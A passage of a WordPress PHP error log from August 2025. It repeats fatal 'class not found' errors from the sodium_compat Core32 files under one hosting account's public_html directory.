  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[14-Aug-2025 06:12:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[14-Aug-2025 06:12:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[14-Aug-2025 06:12:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[20-Aug-2025 23:26:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[20-Aug-2025 23:26:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[20-Aug-2025 23:26:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[20-Aug-2025 23:26:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[20-Aug-2025 23:26:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[20-Aug-2025 23:26:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[20-Aug-2025 23:26:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[20-Aug-2025 23:26:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[20-Aug-2025 23:26:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[20-Aug-2025 23:26:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[20-Aug-2025 23:27:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[20-Aug-2025 23:27:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[20-Aug-2025 23:27:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[21-Aug-2025 21:31:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[21-Aug-2025 21:32:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[21-Aug-2025 21:32:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[21-Aug-2025 21:32:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[21-Aug-2025 21:32:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[21-Aug-2025 21:32:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[21-Aug-2025 21:32:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[21-Aug-2025 21:33:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[21-Aug-2025 21:35:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[21-Aug-2025 21:35:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[21-Aug-2025 21:35:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[21-Aug-2025 21:36:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[21-Aug-2025 21:37:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[22-Aug-2025 21:15:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[22-Aug-2025 21:15:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[22-Aug-2025 21:15:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[22-Aug-2025 21:15:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[22-Aug-2025 21:15:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[22-Aug-2025 21:15:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[22-Aug-2025 21:15:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[22-Aug-2025 21:15:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[22-Aug-2025 21:15:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[22-Aug-2025 21:15:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[22-Aug-2025 21:15:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[22-Aug-2025 21:15:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[22-Aug-2025 21:15:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[22-Aug-2025 21:15:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[22-Aug-2025 21:16:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[22-Aug-2025 21:16:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[22-Aug-2025 21:16:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[22-Aug-2025 21:16:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[22-Aug-2025 21:16:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[22-Aug-2025 21:16:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[22-Aug-2025 21:16:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[22-Aug-2025 21:16:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[22-Aug-2025 21:16:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[22-Aug-2025 21:16:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[22-Aug-2025 21:16:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[22-Aug-2025 21:16:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[26-Aug-2025 06:27:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[26-Aug-2025 06:27:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[26-Aug-2025 06:27:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[26-Aug-2025 06:27:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[26-Aug-2025 06:27:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[26-Aug-2025 06:27:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[26-Aug-2025 06:27:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[26-Aug-2025 06:27:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[26-Aug-2025 06:27:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[26-Aug-2025 06:27:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[26-Aug-2025 06:27:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[26-Aug-2025 06:27:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[26-Aug-2025 06:27:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[26-Aug-2025 06:36:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[26-Aug-2025 06:36:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[26-Aug-2025 06:36:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[26-Aug-2025 06:36:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[26-Aug-2025 06:36:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[26-Aug-2025 06:36:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[26-Aug-2025 06:36:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[26-Aug-2025 06:36:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[26-Aug-2025 06:37:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[26-Aug-2025 06:37:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[26-Aug-2025 06:37:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[26-Aug-2025 06:37:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[26-Aug-2025 06:37:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[27-Aug-2025 14:50:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[27-Aug-2025 14:50:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[27-Aug-2025 14:51:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
